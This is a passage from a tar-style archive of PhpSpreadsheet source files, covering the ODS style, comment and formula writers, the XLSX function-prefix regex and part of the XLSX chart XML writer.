'2.5pt'; } return '1pt'; } private function mapBorderStyle(Border $border): string { switch ($border->getBorderStyle()) { case Border::BORDER_DOTTED: case Border::BORDER_MEDIUMDASHDOTDOT: return Border::BORDER_DOTTED; case Border::BORDER_DASHED: case Border::BORDER_DASHDOT: case Border::BORDER_DASHDOTDOT: case Border::BORDER_MEDIUMDASHDOT: case Border::BORDER_MEDIUMDASHED: case Border::BORDER_SLANTDASHDOT: return Border::BORDER_DASHED; case Border::BORDER_DOUBLE: return Border::BORDER_DOUBLE; case Border::BORDER_HAIR: case Border::BORDER_MEDIUM: case Border::BORDER_THICK: case Border::BORDER_THIN: return 'solid'; } return 'solid'; } private function writeCellProperties(CellStyle $style): void { // Align $hAlign = $style->getAlignment()->getHorizontal(); $vAlign = $style->getAlignment()->getVertical(); $wrap = $style->getAlignment()->getWrapText(); $this->writer->startElement('style:table-cell-properties'); if (!empty($vAlign) || $wrap) { if (!empty($vAlign)) { $vAlign = $this->mapVerticalAlignment($vAlign); $this->writer->writeAttribute('style:vertical-align', $vAlign); } if ($wrap) { $this->writer->writeAttribute('fo:wrap-option', 'wrap'); } } $this->writer->writeAttribute('style:rotation-align', 'none'); // Fill $this->writeFillStyle($style->getFill()); // Border $this->writeBordersStyle($style->getBorders()); $this->writer->endElement(); if (!empty($hAlign)) { $hAlign = $this->mapHorizontalAlignment($hAlign); $this->writer->startElement('style:paragraph-properties'); $this->writer->writeAttribute('fo:text-align', $hAlign); $this->writer->endElement(); } } protected function mapUnderlineStyle(Font $font): string { return match ($font->getUnderline()) { Font::UNDERLINE_DOUBLE, Font::UNDERLINE_DOUBLEACCOUNTING => 'double', Font::UNDERLINE_SINGLE, Font::UNDERLINE_SINGLEACCOUNTING => 'single', default => 'none', }; } protected function writeTextProperties(CellStyle $style): void { // Font $this->writer->startElement('style:text-properties'); $font = $style->getFont(); if ($font->getBold()) { $this->writer->writeAttribute('fo:font-weight', 'bold'); $this->writer->writeAttribute('style:font-weight-complex', 'bold'); $this->writer->writeAttribute('style:font-weight-asian', 'bold'); } if ($font->getItalic()) { $this->writer->writeAttribute('fo:font-style', 'italic'); } $this->writer->writeAttribute('fo:color', sprintf('#%s', $font->getColor()->getRGB())); if ($family = $font->getName()) { $this->writer->writeAttribute('fo:font-family', $family); } if ($size = $font->getSize()) { $this->writer->writeAttribute('fo:font-size', sprintf('%.1Fpt', $size)); } if ($font->getUnderline() && $font->getUnderline() !== Font::UNDERLINE_NONE) { $this->writer->writeAttribute('style:text-underline-style', 'solid'); $this->writer->writeAttribute('style:text-underline-width', 'auto'); $this->writer->writeAttribute('style:text-underline-color', 'font-color'); $underline = $this->mapUnderlineStyle($font); $this->writer->writeAttribute('style:text-underline-type', $underline); } $this->writer->endElement(); // Close style:text-properties } protected function writeColumnProperties(ColumnDimension $columnDimension): void { $this->writer->startElement('style:table-column-properties'); $this->writer->writeAttribute( 'style:column-width', round($columnDimension->getWidth(Dimension::UOM_CENTIMETERS), 3) . 'cm' ); $this->writer->writeAttribute('fo:break-before', 'auto'); // End $this->writer->endElement(); // Close style:table-column-properties } public function writeColumnStyles(ColumnDimension $columnDimension, int $sheetId): void { $this->writer->startElement('style:style'); $this->writer->writeAttribute('style:family', 'table-column'); $this->writer->writeAttribute( 'style:name', sprintf('%s_%d_%d', self::COLUMN_STYLE_PREFIX, $sheetId, $columnDimension->getColumnNumeric()) ); $this->writeColumnProperties($columnDimension); // End $this->writer->endElement(); // Close style:style } protected function writeRowProperties(RowDimension $rowDimension): void { $this->writer->startElement('style:table-row-properties'); $this->writer->writeAttribute( 'style:row-height', round($rowDimension->getRowHeight(Dimension::UOM_CENTIMETERS), 3) . 'cm' ); $this->writer->writeAttribute('style:use-optimal-row-height', 'false'); $this->writer->writeAttribute('fo:break-before', 'auto'); // End $this->writer->endElement(); // Close style:table-row-properties } public function writeRowStyles(RowDimension $rowDimension, int $sheetId): void { $this->writer->startElement('style:style'); $this->writer->writeAttribute('style:family', 'table-row'); $this->writer->writeAttribute( 'style:name', sprintf('%s_%d_%d', self::ROW_STYLE_PREFIX, $sheetId, $rowDimension->getRowIndex()) ); $this->writeRowProperties($rowDimension); // End $this->writer->endElement(); // Close style:style } public function writeTableStyle(Worksheet $worksheet, int $sheetId): void { $this->writer->startElement('style:style'); $this->writer->writeAttribute('style:family', 'table'); $this->writer->writeAttribute( 'style:name', sprintf('%s%d', self::TABLE_STYLE_PREFIX, $sheetId) ); $this->writer->startElement('style:table-properties'); $this->writer->writeAttribute( 'table:display', $worksheet->getSheetState() === Worksheet::SHEETSTATE_VISIBLE ? 'true' : 'false' ); $this->writer->endElement(); // Close style:table-properties $this->writer->endElement(); // Close style:style } public function write(CellStyle $style): void { $this->writer->startElement('style:style'); $this->writer->writeAttribute('style:name', self::CELL_STYLE_PREFIX . $style->getIndex()); $this->writer->writeAttribute('style:family', 'table-cell'); $this->writer->writeAttribute('style:parent-style-name', 'Default'); // Alignment, fill colour, etc $this->writeCellProperties($style); // style:text-properties $this->writeTextProperties($style); // End $this->writer->endElement(); // Close style:style } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Cell/Comment.php000064400000002027151676714400022243 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods\Cell; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; /** * @author Alexander Pervakov <frost-nzcr4@jagmort.com> */ class Comment { public static function write(XMLWriter $objWriter, Cell $cell): void { $comments = $cell->getWorksheet()->getComments(); if (!isset($comments[$cell->getCoordinate()])) { return; } $comment = $comments[$cell->getCoordinate()]; $objWriter->startElement('office:annotation'); $objWriter->writeAttribute('svg:width', $comment->getWidth()); $objWriter->writeAttribute('svg:height', $comment->getHeight()); $objWriter->writeAttribute('svg:x', $comment->getMarginLeft()); $objWriter->writeAttribute('svg:y', $comment->getMarginTop()); $objWriter->writeElement('dc:creator', $comment->getAuthor()); $objWriter->writeElement('text:p', $comment->getText()->getPlainText()); $objWriter->endElement(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Formula.php000064400000007551151676714400021376 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\DefinedName; class Formula { private array $definedNames = []; /** * @param DefinedName[] $definedNames */ public function __construct(array $definedNames) { foreach ($definedNames as $definedName) { $this->definedNames[] = $definedName->getName(); } } public function convertFormula(string $formula, string $worksheetName = ''): string { $formula = $this->convertCellReferences($formula, $worksheetName); $formula = $this->convertDefinedNames($formula); if (!str_starts_with($formula, '=')) { $formula = '=' . $formula; } return 'of:' . $formula; } private function convertDefinedNames(string $formula): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '/mui', $formula, $splitRanges, PREG_OFFSET_CAPTURE ); $lengths = array_map('strlen', array_column($splitRanges[0], 0)); $offsets = array_column($splitRanges[0], 1); $values = array_column($splitRanges[0], 0); while ($splitCount > 0) { --$splitCount; $length = $lengths[$splitCount]; $offset = $offsets[$splitCount]; $value = $values[$splitCount]; if (in_array($value, $this->definedNames, true)) { $formula = substr($formula, 0, $offset) . '$$' . $value . substr($formula, $offset + $length); } } return $formula; } private function convertCellReferences(string $formula, string $worksheetName): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/mui', $formula, $splitRanges, PREG_OFFSET_CAPTURE ); $lengths = array_map('strlen', array_column($splitRanges[0], 0)); $offsets = array_column($splitRanges[0], 1); $worksheets = $splitRanges[2]; $columns = $splitRanges[6]; $rows = $splitRanges[7]; // Replace any commas in the formula with semi-colons for Ods // If by chance there are commas in worksheet names, then they will be "fixed" again in the loop // because we've already extracted worksheet names with our preg_match_all() $formula = str_replace(',', ';', $formula); while ($splitCount > 0) { --$splitCount; $length = $lengths[$splitCount]; $offset = $offsets[$splitCount]; $worksheet = $worksheets[$splitCount][0]; $column = $columns[$splitCount][0]; $row = $rows[$splitCount][0]; $newRange = ''; if (empty($worksheet)) { if (($offset === 0) || ($formula[$offset - 1] !== ':')) { // We need a worksheet $worksheet = $worksheetName; } } else { $worksheet = str_replace("''", "'", trim($worksheet, "'")); } if (!empty($worksheet)) { $newRange = "['" . str_replace("'", "''", $worksheet) . "'"; } elseif (substr($formula, $offset - 1, 1) !== ':') { $newRange = '['; } $newRange .= '.'; if (!empty($column)) { $newRange .= $column; } if (!empty($row)) { $newRange .= $row; } // close the wrapping [] unless this is the first part of a range $newRange .= substr($formula, $offset + $length, 1) !== ':' ? ']' : ''; $formula = substr($formula, 0, $offset) . $newRange . substr($formula, $offset + $length); } return $formula; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/FunctionPrefix.php000064400000011454151676714400023142 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; class FunctionPrefix { const XLFNREGEXP = '/(?:_xlfn\.)?((?:_xlws\.)?\b(' // functions added with Excel 2010 . 'beta[.]dist' . '|beta[.]inv' . '|binom[.]dist' . '|binom[.]inv' . '|ceiling[.]precise' . '|chisq[.]dist' . '|chisq[.]dist[.]rt' . '|chisq[.]inv' . '|chisq[.]inv[.]rt' . '|chisq[.]test' . '|confidence[.]norm' . '|confidence[.]t' . '|covariance[.]p' . '|covariance[.]s' . '|erf[.]precise' . '|erfc[.]precise' . '|expon[.]dist' . '|f[.]dist' . '|f[.]dist[.]rt' . '|f[.]inv' . '|f[.]inv[.]rt' . '|f[.]test' . '|floor[.]precise' . '|gamma[.]dist' . '|gamma[.]inv' . '|gammaln[.]precise' . '|lognorm[.]dist' . '|lognorm[.]inv' . '|mode[.]mult' . '|mode[.]sngl' . '|negbinom[.]dist' . '|networkdays[.]intl' . '|norm[.]dist' . '|norm[.]inv' . '|norm[.]s[.]dist' . '|norm[.]s[.]inv' . '|percentile[.]exc' . '|percentile[.]inc' . '|percentrank[.]exc' . '|percentrank[.]inc' . '|poisson[.]dist' . '|quartile[.]exc' . '|quartile[.]inc' . '|rank[.]avg' . '|rank[.]eq' . '|stdev[.]p' . '|stdev[.]s' . '|t[.]dist' . '|t[.]dist[.]2t' . '|t[.]dist[.]rt' . '|t[.]inv' . '|t[.]inv[.]2t' . '|t[.]test' . '|var[.]p' . '|var[.]s' . '|weibull[.]dist' . '|z[.]test' // functions added with Excel 2013 . '|acot' . '|acoth' . '|arabic' . '|averageifs' . '|binom[.]dist[.]range' . '|bitand' . '|bitlshift' . '|bitor' . '|bitrshift' . '|bitxor' . '|ceiling[.]math' . '|combina' . '|cot' . '|coth' . '|csc' . '|csch' . '|days' . '|dbcs' . '|decimal' . '|encodeurl' . '|filterxml' . '|floor[.]math' . '|formulatext' . '|gamma' . '|gauss' . '|ifna' . '|imcosh' . '|imcot' . '|imcsc' . '|imcsch' . '|imsec' . '|imsech' . '|imsinh' . '|imtan' . '|isformula' . '|iso[.]ceiling' . '|isoweeknum' . '|munit' . '|numbervalue' . '|pduration' . '|permutationa' . '|phi' . '|rri' . '|sec' . '|sech' . '|sheet' . '|sheets' . '|skew[.]p' . '|unichar' . '|unicode' . '|webservice' . '|xor' // functions added with Excel 2016 . '|forecast[.]et2' . '|forecast[.]ets[.]confint' . '|forecast[.]ets[.]seasonality' . '|forecast[.]ets[.]stat' . '|forecast[.]linear' . '|switch' // functions added with Excel 2019 . '|concat' . '|ifs' . '|maxifs' . '|minifs' . '|sumifs' . '|textjoin' // functions added with Excel 365 . '|filter' . '|randarray' . '|anchorarray' . '|sequence' . '|sort' . '|sortby' . '|unique' . '|xlookup' . '|xmatch' . '|arraytotext' . '|call' . '|let' . '|lambda' . '|single' . '|register[.]id' . '|textafter' . '|textbefore' . '|textsplit' . '|valuetotext' . '))\s*\(/Umui'; const XLWSREGEXP = '/(?<!_xlws\.)(' // functions added with Excel 365 . 'filter' . '|sort' . ')\s*\(/mui'; /** * Prefix function name in string with _xlfn. where required. */ protected static function addXlfnPrefix(string $functionString): string { return (string) preg_replace(self::XLFNREGEXP, '_xlfn.$1(', $functionString); } /** * Prefix function name in string with _xlws. where required. */ protected static function addXlwsPrefix(string $functionString): string { return (string) preg_replace(self::XLWSREGEXP, '_xlws.$1(', $functionString); } /** * Prefix function name in string with _xlfn. where required. */ public static function addFunctionPrefix(string $functionString): string { return self::addXlwsPrefix(self::addXlfnPrefix($functionString)); } /** * Prefix function name in string with _xlfn. where required. * Leading character, expected to be equals sign, is stripped. */ public static function addFunctionPrefixStripEquals(string $functionString): string { return self::addFunctionPrefix(substr($functionString, 1)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/WriterPart.php000064400000000751151676714400022300 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; abstract class WriterPart { /** * Parent Xlsx object. */ private Xlsx $parentWriter; /** * Get parent Xlsx object. */ public function getParentWriter(): Xlsx { return $this->parentWriter; } /** * Set parent Xlsx object. */ public function __construct(Xlsx $writer) { $this->parentWriter = $writer; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Chart.php000064400000236103151676714400021240 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Chart\Axis; use PhpOffice\PhpSpreadsheet\Chart\ChartColor; use PhpOffice\PhpSpreadsheet\Chart\DataSeries; use PhpOffice\PhpSpreadsheet\Chart\DataSeriesValues; use PhpOffice\PhpSpreadsheet\Chart\Layout; use PhpOffice\PhpSpreadsheet\Chart\Legend; use PhpOffice\PhpSpreadsheet\Chart\PlotArea; use PhpOffice\PhpSpreadsheet\Chart\Properties; use PhpOffice\PhpSpreadsheet\Chart\Title; use PhpOffice\PhpSpreadsheet\Chart\TrendLine; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; class Chart extends WriterPart { private int $seriesIndex; /** * Write charts to XML format. * * @return string XML Output */ public function writeChart(\PhpOffice\PhpSpreadsheet\Chart\Chart $chart, bool $calculateCellValues = true): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // Ensure that data series values are up-to-date before we save if ($calculateCellValues) { $chart->refresh(); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // c:chartSpace $objWriter->startElement('c:chartSpace'); $objWriter->writeAttribute('xmlns:c', Namespaces::CHART); $objWriter->writeAttribute('xmlns:a', Namespaces::DRAWINGML); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); $objWriter->startElement('c:date1904'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); $objWriter->startElement('c:lang'); $objWriter->writeAttribute('val', 'en-GB'); $objWriter->endElement(); $objWriter->startElement('c:roundedCorners'); $objWriter->writeAttribute('val', $chart->getRoundedCorners() ? '1' : '0'); $objWriter->endElement(); $this->writeAlternateContent($objWriter); $objWriter->startElement('c:chart'); $this->writeTitle($objWriter, $chart->getTitle()); $objWriter->startElement('c:autoTitleDeleted'); $objWriter->writeAttribute('val', (string) (int) $chart->getAutoTitleDeleted()); $objWriter->endElement(); $objWriter->startElement('c:view3D'); $surface2D = false; $plotArea = $chart->getPlotArea(); if ($plotArea !== null) { $seriesArray = $plotArea->getPlotGroup(); foreach ($seriesArray as $series) { if ($series->getPlotType() === DataSeries::TYPE_SURFACECHART) { $surface2D = true; break; } } } $this->writeView3D($objWriter, $chart->getRotX(), 'c:rotX', $surface2D, 90); $this->writeView3D($objWriter, $chart->getRotY(), 'c:rotY', $surface2D); $this->writeView3D($objWriter, $chart->getRAngAx(), 'c:rAngAx', $surface2D); $this->writeView3D($objWriter, $chart->getPerspective(), 'c:perspective', $surface2D); $objWriter->endElement(); // view3D $this->writePlotArea($objWriter, $chart->getPlotArea(), $chart->getXAxisLabel(), $chart->getYAxisLabel(), $chart->getChartAxisX(), $chart->getChartAxisY()); $this->writeLegend($objWriter, $chart->getLegend()); $objWriter->startElement('c:plotVisOnly'); $objWriter->writeAttribute('val', (string) (int) $chart->getPlotVisibleOnly()); $objWriter->endElement(); if ($chart->getDisplayBlanksAs() !== '') { $objWriter->startElement('c:dispBlanksAs'); $objWriter->writeAttribute('val', $chart->getDisplayBlanksAs()); $objWriter->endElement(); } $objWriter->startElement('c:showDLblsOverMax'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); $objWriter->endElement(); // c:chart $objWriter->startElement('c:spPr'); if ($chart->getNoFill()) { $objWriter->startElement('a:noFill'); $objWriter->endElement(); // a:noFill } $fillColor = $chart->getFillColor(); if ($fillColor->isUsable()) { $this->writeColor($objWriter, $fillColor); } $borderLines = $chart->getBorderLines(); $this->writeLineStyles($objWriter, $borderLines); $this->writeEffects($objWriter, $borderLines); $objWriter->endElement(); // c:spPr $this->writePrintSettings($objWriter); $objWriter->endElement(); // c:chartSpace // Return return $objWriter->getData(); } private function writeView3D(XMLWriter $objWriter, ?int $value, string $tag, bool $surface2D, int $default = 0): void { if ($value === null && $surface2D) { $value = $default; } if ($value !== null) { $objWriter->startElement($tag); $objWriter->writeAttribute('val', "$value"); $objWriter->endElement(); } } /** * Write Chart Title. */ private function writeTitle(XMLWriter $objWriter, ?Title $title = null): void { if ($title === null) { return; } if ($this->writeCalculatedTitle($objWriter, $title)) { return; } $objWriter->startElement('c:title'); $caption = $title->getCaption(); if ($caption !== null) { $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $objWriter->startElement('a:p'); $objWriter->startElement('a:pPr'); $objWriter->startElement('a:defRPr'); $objWriter->endElement(); // a:defRPr $objWriter->endElement(); // a:pPr if (is_array($caption)) { $caption = $caption[0] ?? ''; } $this->getParentWriter()->getWriterPartstringtable()->writeRichTextForCharts($objWriter, $caption, 'a'); $objWriter->endElement(); // a:p $objWriter->endElement(); // c:rich $objWriter->endElement(); // c:tx } $this->writeLayout($objWriter, $title->getLayout()); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', ($title->getOverlay()) ? '1' : '0'); $objWriter->endElement(); // c:overlay $objWriter->endElement(); // c:title } /** * Write Calculated Chart Title. */ private function writeCalculatedTitle(XMLWriter $objWriter, Title $title): bool { $calc = $title->getCalculatedTitle($this->getParentWriter()->getSpreadsheet()); if (empty($calc)) { return false; } $objWriter->startElement('c:title'); $objWriter->startElement('c:tx'); $objWriter->startElement('c:strRef'); $objWriter->writeElement('c:f', $title->getCellReference()); $objWriter->startElement('c:strCache'); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', '1'); $objWriter->endElement(); // c:ptCount $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', '0'); $objWriter->writeElement('c:v', $calc); $objWriter->endElement(); // c:pt $objWriter->endElement(); // c:strCache $objWriter->endElement(); // c:strRef $objWriter->endElement(); // c:tx $this->writeLayout($objWriter, $title->getLayout()); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', ($title->getOverlay()) ? '1' : '0'); $objWriter->endElement(); // c:overlay // c:spPr // c:txPr $labelFont = $title->getFont(); if ($labelFont !== null) { $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $this->writeLabelFont($objWriter, $labelFont, null); $objWriter->endElement(); // c:txPr } $objWriter->endElement(); // c:title return true; } /** * Write Chart Legend. */ private function writeLegend(XMLWriter $objWriter, ?Legend $legend = null): void { if ($legend === null) { return; } $objWriter->startElement('c:legend'); $objWriter->startElement('c:legendPos'); $objWriter->writeAttribute('val', $legend->getPosition()); $objWriter->endElement(); $this->writeLayout($objWriter, $legend->getLayout()); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', ($legend->getOverlay()) ? '1' : '0'); $objWriter->endElement(); $objWriter->startElement('c:spPr'); $fillColor = $legend->getFillColor(); if ($fillColor->isUsable()) { $this->writeColor($objWriter, $fillColor); } $borderLines = $legend->getBorderLines(); $this->writeLineStyles($objWriter, $borderLines); $this->writeEffects($objWriter, $borderLines); $objWriter->endElement(); // c:spPr $legendText = $legend->getLegendText(); $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); $objWriter->startElement('a:p'); $objWriter->startElement('a:pPr'); $objWriter->writeAttribute('rtl', '0'); $objWriter->startElement('a:defRPr'); if ($legendText !== null) { $this->writeColor($objWriter, $legendText->getFillColorObject()); $this->writeEffects($objWriter, $legendText); } $objWriter->endElement(); // a:defRpr $objWriter->endElement(); // a:pPr $objWriter->startElement('a:endParaRPr'); $objWriter->writeAttribute('lang', 'en-US'); $objWriter->endElement(); // a:endParaRPr $objWriter->endElement(); // a:p $objWriter->endElement(); // c:txPr $objWriter->endElement(); // c:legend } /** * Write Chart Plot Area. */ private function writePlotArea(XMLWriter $objWriter, ?PlotArea $plotArea, ?Title $xAxisLabel = null, ?Title $yAxisLabel = null, ?Axis $xAxis = null, ?Axis $yAxis = null): void { if ($plotArea === null) { return; } $id1 = $id2 = $id3 = '0'; $this->seriesIndex = 0; $objWriter->startElement('c:plotArea'); $layout = $plotArea->getLayout(); $this->writeLayout($objWriter, $layout); $chartTypes = self::getChartType($plotArea); $catIsMultiLevelSeries = $valIsMultiLevelSeries = false; $plotGroupingType = ''; $chartType = null; foreach ($chartTypes as $chartType) { $objWriter->startElement('c:' . $chartType); $groupCount = $plotArea->getPlotGroupCount(); $plotGroup = null; for ($i = 0; $i < $groupCount; ++$i) { $plotGroup = $plotArea->getPlotGroupByIndex($i); $groupType = $plotGroup->getPlotType(); if ($groupType == $chartType) { $plotStyle = $plotGroup->getPlotStyle(); if (!empty($plotStyle) && $groupType === DataSeries::TYPE_RADARCHART) { $objWriter->startElement('c:radarStyle'); $objWriter->writeAttribute('val', $plotStyle); $objWriter->endElement(); } elseif (!empty($plotStyle) && $groupType === DataSeries::TYPE_SCATTERCHART) { $objWriter->startElement('c:scatterStyle'); $objWriter->writeAttribute('val', $plotStyle); $objWriter->endElement(); } elseif ($groupType === DataSeries::TYPE_SURFACECHART_3D || $groupType === DataSeries::TYPE_SURFACECHART) { $objWriter->startElement('c:wireframe'); $objWriter->writeAttribute('val', $plotStyle ? '1' : '0'); $objWriter->endElement(); } $this->writePlotGroup($plotGroup, $chartType, $objWriter, $catIsMultiLevelSeries, $valIsMultiLevelSeries, $plotGroupingType); } } $this->writeDataLabels($objWriter, $layout); if ($chartType === DataSeries::TYPE_LINECHART && $plotGroup) { // Line only, Line3D can't be smoothed $objWriter->startElement('c:smooth'); $objWriter->writeAttribute('val', (string) (int) $plotGroup->getSmoothLine()); $objWriter->endElement(); } elseif (($chartType === DataSeries::TYPE_BARCHART) || ($chartType === DataSeries::TYPE_BARCHART_3D)) { $objWriter->startElement('c:gapWidth'); $objWriter->writeAttribute('val', '150'); $objWriter->endElement(); if ($plotGroupingType == 'percentStacked' || $plotGroupingType == 'stacked') { $objWriter->startElement('c:overlap'); $objWriter->writeAttribute('val', '100'); $objWriter->endElement(); } } elseif ($chartType === DataSeries::TYPE_BUBBLECHART) { $scale = ($plotGroup === null) ? '' : (string) $plotGroup->getPlotStyle(); if ($scale !== '') { $objWriter->startElement('c:bubbleScale'); $objWriter->writeAttribute('val', $scale); $objWriter->endElement(); } $objWriter->startElement('c:showNegBubbles'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); } elseif ($chartType === DataSeries::TYPE_STOCKCHART) { $objWriter->startElement('c:hiLowLines'); $objWriter->endElement(); $gapWidth = $plotArea->getGapWidth(); $upBars = $plotArea->getUseUpBars(); $downBars = $plotArea->getUseDownBars(); if ($gapWidth !== null || $upBars || $downBars) { $objWriter->startElement('c:upDownBars'); if ($gapWidth !== null) { $objWriter->startElement('c:gapWidth'); $objWriter->writeAttribute('val', "$gapWidth"); $objWriter->endElement(); } if ($upBars) { $objWriter->startElement('c:upBars'); $objWriter->endElement(); } if ($downBars) { $objWriter->startElement('c:downBars'); $objWriter->endElement(); } $objWriter->endElement(); // c:upDownBars } } // Generate 3 unique numbers to use for axId values $id1 = '110438656'; $id2 = '110444544'; $id3 = '110365312'; // used in Surface Chart if (($chartType !== DataSeries::TYPE_PIECHART) && ($chartType !== DataSeries::TYPE_PIECHART_3D) && ($chartType !== DataSeries::TYPE_DONUTCHART)) { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id1); $objWriter->endElement(); $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); if ($chartType === DataSeries::TYPE_SURFACECHART_3D || $chartType === DataSeries::TYPE_SURFACECHART) { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id3); $objWriter->endElement(); } } else { $objWriter->startElement('c:firstSliceAng'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); if ($chartType === DataSeries::TYPE_DONUTCHART) { $objWriter->startElement('c:holeSize'); $objWriter->writeAttribute('val', '50'); $objWriter->endElement(); } } $objWriter->endElement(); } if (($chartType !== DataSeries::TYPE_PIECHART) && ($chartType !== DataSeries::TYPE_PIECHART_3D) && ($chartType !== DataSeries::TYPE_DONUTCHART)) { if ($chartType === DataSeries::TYPE_BUBBLECHART) { $this->writeValueAxis($objWriter, $xAxisLabel, $chartType, $id2, $id1, $catIsMultiLevelSeries, $xAxis ?? new Axis()); } else { $this->writeCategoryAxis($objWriter, $xAxisLabel, $id1, $id2, $catIsMultiLevelSeries, $xAxis ?? new Axis()); } $this->writeValueAxis($objWriter, $yAxisLabel, $chartType, $id1, $id2, $valIsMultiLevelSeries, $yAxis ?? new Axis()); if ($chartType === DataSeries::TYPE_SURFACECHART_3D || $chartType === DataSeries::TYPE_SURFACECHART) { $this->writeSerAxis($objWriter, $id2, $id3); } } $stops = $plotArea->getGradientFillStops(); if ($plotArea->getNoFill() || !empty($stops)) { $objWriter->startElement('c:spPr'); if ($plotArea->getNoFill()) { $objWriter->startElement('a:noFill'); $objWriter->endElement(); // a:noFill } if (!empty($stops)) { $objWriter->startElement('a:gradFill'); $objWriter->startElement('a:gsLst'); foreach ($stops as $stop) { $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', (string) (Properties::PERCENTAGE_MULTIPLIER * (float) $stop[0])); $this->writeColor($objWriter, $stop[1], false); $objWriter->endElement(); // a:gs } $objWriter->endElement(); // a:gsLst $angle = $plotArea->getGradientFillAngle(); if ($angle !== null) { $objWriter->startElement('a:lin'); $objWriter->writeAttribute('ang', Properties::angleToXml($angle)); $objWriter->endElement(); // a:lin } $objWriter->endElement(); // a:gradFill } $objWriter->endElement(); // c:spPr } $objWriter->endElement(); // c:plotArea } private function writeDataLabelsBool(XMLWriter $objWriter, string $name, ?bool $value): void { if ($value !== null) { $objWriter->startElement("c:$name"); $objWriter->writeAttribute('val', $value ? '1' : '0'); $objWriter->endElement(); } } /** * Write Data Labels. */ private function writeDataLabels(XMLWriter $objWriter, ?Layout $chartLayout = null): void { if (!isset($chartLayout)) { return; } $objWriter->startElement('c:dLbls'); $fillColor = $chartLayout->getLabelFillColor(); $borderColor = $chartLayout->getLabelBorderColor(); if ($fillColor && $fillColor->isUsable()) { $objWriter->startElement('c:spPr'); $this->writeColor($objWriter, $fillColor); if ($borderColor && $borderColor->isUsable()) { $objWriter->startElement('a:ln'); $this->writeColor($objWriter, $borderColor); $objWriter->endElement(); // a:ln } $objWriter->endElement(); // c:spPr } $labelFont = $chartLayout->getLabelFont(); if ($labelFont !== null) { $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); $objWriter->writeAttribute('wrap', 'square'); $objWriter->writeAttribute('lIns', '38100'); $objWriter->writeAttribute('tIns', '19050'); $objWriter->writeAttribute('rIns', '38100'); $objWriter->writeAttribute('bIns', '19050'); $objWriter->writeAttribute('anchor', 'ctr'); $objWriter->startElement('a:spAutoFit'); $objWriter->endElement(); // a:spAutoFit $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $this->writeLabelFont($objWriter, $labelFont, $chartLayout->getLabelEffects()); $objWriter->endElement(); // c:txPr } if ($chartLayout->getNumFmtCode() !== '') { $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', $chartLayout->getnumFmtCode()); $objWriter->writeAttribute('sourceLinked', (string) (int) $chartLayout->getnumFmtLinked()); $objWriter->endElement(); // c:numFmt } if ($chartLayout->getDLblPos() !== '') { $objWriter->startElement('c:dLblPos'); $objWriter->writeAttribute('val', $chartLayout->getDLblPos()); $objWriter->endElement(); // c:dLblPos } $this->writeDataLabelsBool($objWriter, 'showLegendKey', $chartLayout->getShowLegendKey()); $this->writeDataLabelsBool($objWriter, 'showVal', $chartLayout->getShowVal()); $this->writeDataLabelsBool($objWriter, 'showCatName', $chartLayout->getShowCatName()); $this->writeDataLabelsBool($objWriter, 'showSerName', $chartLayout->getShowSerName()); $this->writeDataLabelsBool($objWriter, 'showPercent', $chartLayout->getShowPercent()); $this->writeDataLabelsBool($objWriter, 'showBubbleSize', $chartLayout->getShowBubbleSize()); 